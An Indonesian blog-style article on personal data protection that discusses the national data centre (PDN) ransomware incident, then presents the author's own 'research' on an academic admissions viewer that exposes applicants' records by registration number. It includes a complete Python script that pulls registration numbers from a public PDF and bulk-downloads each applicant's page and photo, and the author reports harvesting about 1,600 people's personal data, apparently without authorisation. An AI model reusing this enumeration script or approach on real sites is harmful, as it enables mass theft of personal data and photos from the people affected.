Data pribadi adalah kumpulan informasi yang dapat mengidentifikasi suatu entitas, baik individu, perusahaan, maupun instansi. Setiap pihak memiliki tanggung jawab untuk menjaga dan melindungi data pribadi tersebut agar tidak disalahgunakan. Perlindungan data pribadi menjadi hal yang sangat penting untuk mencegah penyalahgunaan oleh pihak yang tidak bertanggung jawab.
Belakangan ini, isu pencurian data pribadi menjadi topik hangat di Indonesia, terutama setelah terjadinya peretasan pada PDN (Pusat Data Nasional) yang menggemparkan publik. Bagaimana mungkin sebuah pusat data yang mengelola seluruh data lembaga negara bisa diretas, sehingga data dari berbagai instansi bocor ke publik dan bahkan dijual di forum-forum daring?
Dari berbagai pemberitaan di media, diketahui bahwa peretasan pada PDN terjadi karena ada pihak yang menonaktifkan Windows Defender pada server, sehingga kode malicious dapat berjalan dan akhirnya server terkena ransomware. Akibatnya, data menjadi terenkripsi dan tidak dapat diakses tanpa key khusus yang hanya dimiliki oleh pelaku.
Data yang telah terenkripsi oleh ransomware berubah menjadi file dengan ekstensi yang tidak dikenali komputer. Untuk membukanya, dibutuhkan key dekripsi yang biasanya hanya diberikan oleh pelaku setelah menerima tebusan.
Beberapa hacker memang sengaja meminta tebusan agar key diberikan, namun tidak jarang juga mereka tetap tidak memberikan key meski tebusan sudah dibayar. Hal yang cukup ironis adalah pemerintah tidak memiliki backup data yang memadai, sehingga data yang sudah terenkripsi tidak dapat dipulihkan atau diselamatkan.
Bagaimana Peretasan Bisa Terjadi?
Sebenarnya, bagaimana proses sebuah Pusat Data Nasional bisa diretas oleh hacker? Hanya pelaku yang tahu secara pasti. Namun, berdasarkan kasus-kasus sebelumnya, ada beberapa asumsi tentang bagaimana peretasan bisa terjadi:
- Teknik Social Engineering (rekayasa sosial)
- Pemberian akses oleh orang dalam (insider threat)
- Tersangka merupakan pegawai atau pihak yang bekerja di PDN
Penulis berasumsi bahwa server PDN menggunakan sistem operasi Windows, karena dari berita yang beredar disebutkan Windows Defender, yang memang hanya ada di Windows.
Asumsi lain, pelaku sebelumnya berhasil meretas salah satu komputer yang terhubung ke jaringan Wi-Fi PDN, sehingga bisa mematikan Windows Defender dan mendapatkan akses penuh ke server PDN.
Studi Kasus: Research Penulis
Penulis mencoba memahami bagaimana pencurian data bisa terjadi dengan melakukan simulasi pada salah satu website instansi akademik yang menyediakan layanan SNBT Viewer. Layanan ini menampilkan data pribadi calon pendaftar yang ingin mendaftar ke instansi tersebut.
Pada halaman tersebut, pengguna diminta memasukkan nomor peserta. Penulis mendapatkan data nomor peserta dari file PDF yang diunduh dari website resmi instansi, yang berisi daftar Nomor Pendaftaran dan Nama calon peserta.
Dengan memilih salah satu Nomor Pendaftaran, penulis dapat mengakses informasi lengkap calon peserta.
Analisis pada menu Network di browser menunjukkan bahwa proses pencarian data dilakukan dengan metode GET, menggunakan kombinasi nomor pendaftaran sebagai parameter.
Karena file PDF berisi banyak data, proses pengambilan data secara manual akan sangat memakan waktu. Oleh karena itu, penulis membuat program Python untuk mengotomasi proses pengambilan data.
import concurrent.futures
from pypdf import PdfReader
import requests
# Membuka file PDF
reader = PdfReader("file.pdf")
# Prefix nomor pendaftaran yang dicari
prefix = "24541"
# Fungsi untuk mengekstrak baris yang sesuai prefix
def extract_lines_with_prefix(text, prefix):
lines = text.split('\n')
matching_lines = [line for line in lines if line.startswith(prefix)]
return matching_lines
# Mengumpulkan semua baris yang cocok dari seluruh halaman
all_matching_lines = []
for page in reader.pages:
text = page.extract_text()
matching_lines = extract_lines_with_prefix(text, prefix)
all_matching_lines.extend(matching_lines)
# Fungsi untuk mengunduh file HTML dan JPG
def download_files(line):
htmlURL = f'https://redacted.ac.id/{line}.html'
imageURL = f'https://redacted.ac.id/{line}.jpg'
responseHTML = requests.get(htmlURL)
responseImage = requests.get(imageURL)
with open(f'{line}.html', mode="wb") as file:
file.write(responseHTML.content)
print(f'{line} HTML downloaded!')
with open(f'{line}.jpg', mode="wb") as file:
file.write(responseImage.content)
print(f'{line} JPG downloaded!')
# Mengunduh file secara paralel
with concurrent.futures.ThreadPoolExecutor() as executor:
executor.map(download_files, all_matching_lines)
Kode di atas membuka file PDF, mengekstrak nomor pendaftaran yang sesuai, lalu mengunduh halaman HTML dan foto peserta secara paralel.
Hasilnya, program berhasil mengunduh sekitar 1.600 data pribadi calon peserta, termasuk informasi penting dan pas foto mereka.
Kesimpulan
Kejahatan siber memang sulit dikendalikan sepenuhnya, namun dapat diminimalisir dengan penerapan SOP (Standard Operating Procedure) yang ketat di setiap instansi. Penting untuk selalu melakukan backup data secara berkala, memperbarui sistem keamanan, serta meningkatkan kesadaran dan pelatihan keamanan siber bagi seluruh pegawai.
Perlindungan data pribadi adalah tanggung jawab bersama. Dengan langkah-langkah pencegahan yang tepat, risiko kebocoran dan pencurian data dapat ditekan seminimal mungkin.